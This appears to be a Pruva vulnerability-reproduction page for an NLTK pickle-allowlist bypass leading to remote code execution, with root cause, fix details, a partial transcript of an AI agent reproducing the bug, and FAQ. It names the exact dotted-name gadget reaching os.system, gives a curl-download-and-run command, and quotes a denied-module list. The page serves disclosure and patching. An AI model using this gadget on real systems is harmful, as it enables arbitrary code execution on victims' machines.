Skip to content

CVE-2026-71513: Verified Reproduction

CVE-2026-71513: NLTK <3.10.3 RCE in AllowlistUnpickler — validates pickle module string but not global name; dotted-name traversal escapes allowlist to reach arbitrary callables

CVE-2026-71513 is verified against nltk/nltk · github. Affected versions: nltk < 3.10.3. Fixed in 3.10.3. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00336.

REPRO-2026-00336 nltk/nltk · github RCE Aug 23, 2026 CVE entry .txt
Severity
HIGH
Confidence
HIGH
Reproduced in
23m 39s
Tool calls
144
Spend
$2.96
01 · Overview

What Is CVE-2026-71513?

CVE-2026-71513 is a high-severity RCE vulnerability affecting nltk/nltk nltk < 3.10.3. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00336).

02 · Severity & CVSS

CVE-2026-71513 Severity

CVE-2026-71513 is rated high severity.

HIGH threat level
Weakness CWE-502 — Deserialization of Untrusted Data

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected nltk/nltk Versions

nltk/nltk · github versions nltk < 3.10.3 are affected.

How to Reproduce CVE-2026-71513

$ pruva-verify REPRO-2026-00336
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00336/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-71513

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

protocol-4 pickle file: GLOBAL module='nltk.tokenize' name='stanford_segmenter.os.system' + REDUCE with attacker shell command

Attack chain
  1. nltk.tokenize.punkt.punkt_pickle_load
  2. nltk.picklesec.AllowlistUnpickler.find_class (module-prefix allowlist passes, dotted name getattr-chains to os.system)
Runnable proof: reproduction_steps.sh
Captured evidence: harness fixed 2
How the agent worked 300 events · 144 tool calls · 23 min
23 minDuration
144Tool calls
52Reasoning steps
300Events
9Dead-ends
Agent activity over 23 min
Policy
1
Support
8
Repro
92
Judge
31
Variant
163
Verify
1
0:0023:20

Root Cause and Exploit Chain for CVE-2026-71513

Versions: nltk < 3.10.3 (confirmed on 3.10.2).

NLTK before 3.10.3 ships nltk.picklesec.AllowlistUnpickler, a pickle.Unpickler subclass meant to safely load untrusted model/data pickles by allowing only audited globals. Its find_class(module, name) hook validated only the module string against a prefix allowlist (allowed_modules) / exact-pair allowlist (allowed_globals) and never inspected name. For pickle protocol >= 4, pickle.Unpickler.find_class resolves the global by getattr-chaining the (possibly dotted) name starting from the imported module. An attacker can therefore keep the module string inside an allowlisted namespace (e.g. nltk.tokenize) while putting the escape into the name: stanford_segmenter.os.system. The allowlist passes, the dotted traversal reaches os.system, and a following REDUCE executes an arbitrary shell command while NLTK loads the "model". Fixed in NLTK 3.10.3.

  • Package/component: nltknltk.picklesec.AllowlistUnpickler, reached via the public data-loading entrypoints nltk.tokenize.punkt.punkt_pickle_load (legacy Punkt pickle models, allowlist ("nltk.tokenize.punkt", "nltk.tokenize")) and nltk.parse.transitionparser.TransitionParser model loading (allowlist ("numpy", "scipy", "sklearn")).
  • Affected versions: nltk < 3.10.3 (confirmed on 3.10.2).
  • Risk: high — arbitrary code execution with the privileges of the Python process that loads an attacker-controlled pickle (e.g. a downloaded "compatible" Punkt model or parser model file).

Impact Parity

  • Disclosed/claimed maximum impact: code execution (RCE).
  • Reproduced impact from this run: code execution — the attacker command echo PRUVA_RCE_<attempt> > <marker> ran via os.system on 2/2 vulnerable attempts through the real public entrypoint; marker contents verified.
  • Parity: full.
  • Not demonstrated: nothing material — the claimed impact was demonstrated end-to-end against the real library API.

Root Cause

nltk/picklesec.py (3.10.2), AllowlistUnpickler.find_class:

def find_class(self, module: str, name: str) -> Any:
    if (module, name) in self._allowed_globals or self._module_allowed(module):
        return super().find_class(module, name)
    raise pickle.UnpicklingError(...)

Only module is checked against the prefix allowlist. The base-class implementation for protocol >= 4 does:

__import__(module)
return _getattribute(sys.modules[module], name)  # getattr-chains "a.b.c"

so name="stanford_segmenter.os.system" with module="nltk.tokenize" resolves nltk.tokenize.stanford_segmenter (a submodule that import os) → ossystem, a callable the module allowlist never intended to expose. NLTK 3.10.3 fixes this in nltk/picklesec.py by rejecting dotted and dunder names before resolution (Guard 1/2), adding a denied-module prefix backstop (os, subprocess, builtins, nltk.internals, ...) that applies even under a broad allowlist (Guards 3–5), and re-checking the resolved object's true __module__/__qualname__ after resolution (_resolve). Fix reference: GHSA-4489 / GHSA-x99w hardening in nltk.picklesec (nltk 3.10.3 release).

Reproduction Steps

  1. bundle/repro/reproduction_steps.sh (self-contained; reuses the prepared project cache for wheels/site dirs, falling back to pip + a local artifacts dir).
  2. The script installs nltk==3.10.2 (vulnerable) and nltk==3.10.3 (fixed) into isolated --target site dirs, verifies the dotted-name guard is absent in 3.10.2 and present in 3.10.3, then runs bundle/repro/harness.py twice per side. The harness crafts a protocol-4 pickle REDUCE(GLOBAL("nltk.tokenize", "stanford_segmenter.os.system"), (cmd,)) and feeds it to the real public entrypoint nltk.tokenize.punkt.punkt_pickle_load.
  3. Expected evidence: each vulnerable attempt creates repro/marker_vuln_<n>.txt containing PRUVA_RCE_vuln<n> (harness exit 10); each fixed attempt raises UnpicklingError: ... has a dotted name, which is forbidden and creates no marker (harness exit 11). Script exits 0 only if 2/2 + 2/2 hold.

Evidence

  • bundle/logs/reproduction_steps.log / reproduction_steps_run2.log — full script output for two consecutive runs (both exit 0).
  • bundle/logs/harness_vuln_{1,2}.lognltk=3.10.2, punkt_pickle_load returned: 0, MARKER CONTENT: PRUVA_RCE_vuln<n>, RESULT: VULNERABLE - attacker command executed.
  • bundle/logs/harness_fixed_{1,2}.lognltk=3.10.3, BLOCKED with UnpicklingError: global 'nltk.tokenize.stanford_segmenter.os.system' has a dotted name, which is forbidden (attribute-traversal pickle RCE, GHSA-4489).
  • bundle/repro/marker_vuln_{1,2}.txt — files created by the attacker command.
  • bundle/repro/payload_{vuln,fixed}{1,2}.pickle — exact 87-byte malicious pickles used.
  • Environment: Python 3.14.4, pip 25.1.1, linux x86_64. Vulnerable wheel nltk-3.10.2-py3-none-any.whl sha256 2c7ccacb765c5e26b0cb60fb1b57080af522c6924d12a714a243305ba3637412; fixed wheel nltk-3.10.3-py3-none-any.whl sha256 ff9598a8e20518ee0d557745890cc4435b9578489e2dcbc69c4f81fa060caf7c.
  • bundle/repro/runtime_manifest.json — structured runtime evidence (entrypoint_kind=function_call, target_path_reached=true).

Recommendations / Next Steps

  • Upgrade to nltk >= 3.10.3.
  • Fix approach (already upstream): reject dotted/dunder global names before resolution; apply a denied-module backstop even under prefix allowlists; re-verify the resolved object's true __module__/__qualname__; refuse module-object results.
  • Defense in depth for downstream users: never load pickle data from untrusted or unauthenticated sources even behind an allowlisting unpickler; prefer non-pickle model formats.
  • Testing: regression-test that find_class rejects ("nltk.tokenize", "stanford_segmenter.os.system"), ("sklearn", "os.system"), in-namespace gadgets (numpy.f2py.crackfortran.myeval, ReppTokenizer._execute), and that legitimate single-qualname model pickles still load.

Additional Notes

  • Idempotency: reproduction_steps.sh ran twice consecutively, both exit 0; the second run reused the cached site dirs/wheels.
  • The escape gadget stanford_segmenter.os.system works because nltk.tokenize/__init__.py imports the stanford_segmenter submodule, which itself does import os; any allowlisted package with an os-importing submodule in its attribute tree is equally exposed (e.g. sklearn.os.system per the upstream regression test).
  • No sanitizer or mock was used; the proof executes the real library code path and observes a real command side effect.

CVE-2026-71513 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:53
0:00
session startedaccounts/fireworks/models/kimi-k3 · CVE-2026-71513 · REPRO-20
0:06
0:07
web search
0:25
0:25
extract_facts
no facts extracted
0:27
0:27
supportclaim_contract
0:39
0:39
0:39
0:43
0:43
0:43
0:45
0:58
1:01
$python3 --version; pip --version; pip index versions nltk 2>/dev/null | head -5 || pip install nltk== 2>&1 | head -5
2.5s
Python 3.14.4
pip 25.1.1 from /usr/lib/python3/dist-packages/pip (python 3.14)
nltk (3.10.3)
Available versions: 3.10.3, 3.10.2, 3.10.1, 3.10.0, 3.9.4, 3.9.3, 3.9.2, 3.9.1, 3.9, 3.8.1, 3.8, 3.7, 3.6.7, 3.6.6, 3.6.5, 3.6.3, 3.6.2, 3.6.1, 3.6, 3.5, 3.4.5, 3.4.4, 3.4.3, 3.4.2, 3.4.1, 3.4, 3.3.0, 3.2.5, 3.2.4, 3.2.3, 3.2.2, 3.2.1, 3.2, 3.1, 3.0.5, 3.0.4, 3.0.3, 3.0.2, 3.0.1, 3.0.0, 2.0.5, 2.0.4, 2.0.3, 2.0.2, 2.0.1
1:06
1:07
$mkdir -p /pruva/project-cache/wheels /tmp/nltk_v /tmp/nltk_f pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.2 nltk==3.10.3 2>&1 | tail -3 cd /tmp/nltk_v && unzip -oq /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl cd /tmp/nltk_f && unzip -oq /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl grep -rn "AllowlistUnpickler" /tmp/nltk_v/nltk | head -20
1.1s
2. remove package versions to allow pip to attempt to solve the dependency conflict

ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
1:12
$pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.2 2>&1 | tail -2 pip download --no-deps -d /pruva/project-cache/wheels nltk==3.10.3 2>&1 | tail -2 ls /pruva/project-cache/wheels/
1.8s
Saved /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl
Successfully downloaded nltk
Saved /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl
Successfully downloaded nltk
nltk-3.10.2-py3-none-any.whl
nltk-3.10.3-py3-none-any.whl
1:16
$cd /tmp/nltk_v && unzip -oq /pruva/project-cache/wheels/nltk-3.10.2-py3-none-any.whl cd /tmp/nltk_f && unzip -oq /pruva/project-cache/wheels/nltk-3.10.3-py3-none-any.whl grep -rln "AllowlistUnpickler\|find_class\|RestrictedUnpickler" /tmp/nltk_v/nltk /tmp/nltk_f/nltk | sort -u
0.7s
/tmp/nltk_f/nltk/app/wordnet_app.py
/tmp/nltk_f/nltk/data.py
/tmp/nltk_f/nltk/parse/transitionparser.py
/tmp/nltk_f/nltk/picklesec.py
/tmp/nltk_f/nltk/test/unit/test_pickle_allowlist_security.py
/tmp/nltk_f/nltk/test/unit/test_pickle_load_warnings.py
/tmp/nltk_f/nltk/test/unit/test_security.py
/tmp/nltk_f/nltk/tokenize/punkt.py
1:28
$diff -u /tmp/nltk_v/nltk/picklesec.py /tmp/nltk_f/nltk/picklesec.py | head -200
0.5s
{"cwd":"/workspace","duration_ms":58,"exit_code":0,"stderr":"","stdout":"--- /tmp/nltk_v/nltk/picklesec.py\t2026-07-06 03:27:58.000000000 +0000\n+++ /tmp/nltk_f/nltk/picklesec.py\t2026-08-12 13:42:52.000000000 +0000\n@@ -22,6 +22,7 @@\n from __future__ import annotations\n \n import pickle\n+import types\n import warnings\n from collections.abc import Iterable\n from typing import Any, BinaryIO\n@@ -77,17 +78,98 @@\n     return WarningUnpickler(file, context=context).load()\n \n \n+# Modules whose globals are never safe to reconstruct from an untrusted pickle,\n+# even when a broad parent namespace is allowlisted. This denylist is a\n+# defense-in-depth backstop: if a caller (now or in the future) allows a wide\n+# namespace such as ``numpy`` or ``nltk.tokenize``, an in-namespace gadget like\n+# ``numpy.f2py.crackfortran.myeval`` (eval sink) or\n+# ``nltk.tokenize.repp.ReppTokenizer._execute`` (subprocess sink) still cannot\n+# be resolved (GHSA-x99w). Matched by exact module or ``prefix + \".\"``.\n+_DENIED_MODULE_PREFIXES = (\n+    \"os\",\n+    \"nt\",\n+    \"posix\",\n+    \"subprocess\",\n+    \"sys\",\n+    \"socket\",\n+    \"shutil\",\n+    \"signal\",\n+    \"pty\",\n+   … [truncated]
1:41
$diff -u /tmp/nltk_v/nltk/picklesec.py /tmp/nltk_f/nltk/picklesec.py | sed -n '200,320p'; echo ====; sed -n '1,80p' /tmp/nltk_v/nltk/picklesec.py
0.4s
{"cwd":"/workspace","duration_ms":61,"exit_code":0,"stderr":"","stdout":"+            )\n+        if self._module_allowed(module):\n+            return self._resolve(module, name)\n         raise pickle.UnpicklingError(\n             f\"global '{module}.{name}' is not in the pickle allowlist\"\n         )\n \n \n+# A tiny set of individually-safe globals that live in an otherwise-denied\n+# module. ``builtins`` is denied wholesale (Guard 3), but a few immutable\n+# builtin types are needed by legitimate model pickles (e.g. defaultdict's\n+# default_factory is ``int``). These are non-callable-as-a-sink primitives.\n+_SAFE_DENIED_GLOBALS = frozenset(\n+    {\n+        (\"builtins\", \"int\"),\n+        (\"builtins\", \"float\"),\n+        (\"builtins\", \"complex\"),\n+        (\"builtins\", \"bool\"),\n+        (\"builtins\", \"str\"),\n+        (\"builtins\", \"bytes\"),\n+        (\"builtins\", \"list\"),\n+        (\"builtins\", \"tuple\"),\n+        (\"builtins\", \"dict\"),\n+        (\"builtins\", \"set\"),\n+        (\"builtins\", \"frozenset\"),\n+    }\n+)\n+\n+\n def allowlisted_pickle_load(\n     file: BinaryIO,\n     *,\n====\n# Natural Language Toolkit: Safer pickle loa… [truncated]
1:48
1:49
$grep -n "AllowlistUnpickler\|allowlisted_pickle_load\|allowed_globals\|allowed_modules" /tmp/nltk_v/nltk/data.py /tmp/nltk_v/nltk/parse/transitionparser.py /tmp/nltk_v/nltk/tokenize/punkt.py /tmp/nltk_v/nltk/app/wordnet_app.py 2>/dev/null | head -30 echo ==== diff -u /tmp/nltk_v/nltk/data.py /tmp/nltk_f/nltk/data.py | head -60
0.4s
/tmp/nltk_v/nltk/parse/transitionparser.py:24:from nltk.picklesec import allowlisted_pickle_load
/tmp/nltk_v/nltk/parse/transitionparser.py:571:            model = allowlisted_pickle_load(f, allowed_modules=_MODEL_ALLOWED_MODULES)
/tmp/nltk_v/nltk/tokenize/punkt.py:116:from nltk.picklesec import allowlisted_pickle_load
/tmp/nltk_v/nltk/tokenize/punkt.py:129:    This helper loads them through :class:`~nltk.picklesec.AllowlistUnpickler`
/tmp/nltk_v/nltk/tokenize/punkt.py:134:    return allowlisted_pickle_load(file, allowed_modules=_PUNKT_ALLOWED_MODULES)
====
1:53
$grep -n "_MODEL_ALLOWED_MODULES\|_PUNKT_ALLOWED_MODULES" -r /tmp/nltk_v/nltk | head echo ==== grep -n -B2 -A25 "_MODEL_ALLOWED_MODULES =" /tmp/nltk_v/nltk/parse/transitionparser.py echo ==== grep -n -B2 -A20 "_PUNKT_ALLOWED_MODULES =" /tmp/nltk_v/nltk/tokenize/punkt.py
0.4s
{"cwd":"/workspace","duration_ms":61,"exit_code":0,"stderr":"","stdout":"/tmp/nltk_v/nltk/parse/transitionparser.py:30:_MODEL_ALLOWED_MODULES = (\"numpy\", \"scipy\", \"sklearn\")\n/tmp/nltk_v/nltk/parse/transitionparser.py:571:            model = allowlisted_pickle_load(f, allowed_modules=_MODEL_ALLOWED_MODULES)\n/tmp/nltk_v/nltk/tokenize/punkt.py:120:_PUNKT_ALLOWED_MODULES = (\"nltk.tokenize.punkt\", \"nltk.tokenize\")\n/tmp/nltk_v/nltk/tokenize/punkt.py:134:    return allowlisted_pickle_load(file, allowed_modules=_PUNKT_ALLOWED_MODULES)\n====\n28-# allowing only these scientific-stack modules lets a genuine model load while\n29-# blocking arbitrary-code gadgets (os, posix, subprocess, builtins, ...).\n30:_MODEL_ALLOWED_MODULES = (\"numpy\", \"scipy\", \"sklearn\")\n31-\n32-\n33-class Configuration:\n34-    \"\"\"\n35-    Class for holding configuration which is the partial analysis of the input sentence.\n36-    The transition based parser aims at finding set of operators that transfer the initial\n37-    configuration to the terminal configuration.\n38-\n39-    The configuration includes:\n40-        - Stack: for storing partially proceeded words\n41-        - Buffer: for stori… [truncated]
08 · How to Fix

How to Fix CVE-2026-71513

Upgrade nltk/nltk · github to 3.10.3 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-71513 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-71513

Is CVE-2026-71513 exploitable?

Yes. Pruva independently reproduced CVE-2026-71513 in nltk/nltk and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00336).

How severe is CVE-2026-71513?

CVE-2026-71513 is rated high severity.

What type of vulnerability is CVE-2026-71513?

CVE-2026-71513 is classified as CWE-502 (Deserialization of Untrusted Data), a RCE vulnerability.

Which versions of nltk/nltk are affected by CVE-2026-71513?

nltk/nltk nltk < 3.10.3 is affected by CVE-2026-71513.

Is there a fix for CVE-2026-71513?

Yes. CVE-2026-71513 is fixed in nltk/nltk 3.10.3. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-71513?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-71513 reproduction verified?

Yes. Pruva reproduced CVE-2026-71513 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-71513

Authoritative sources for CVE-2026-71513 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.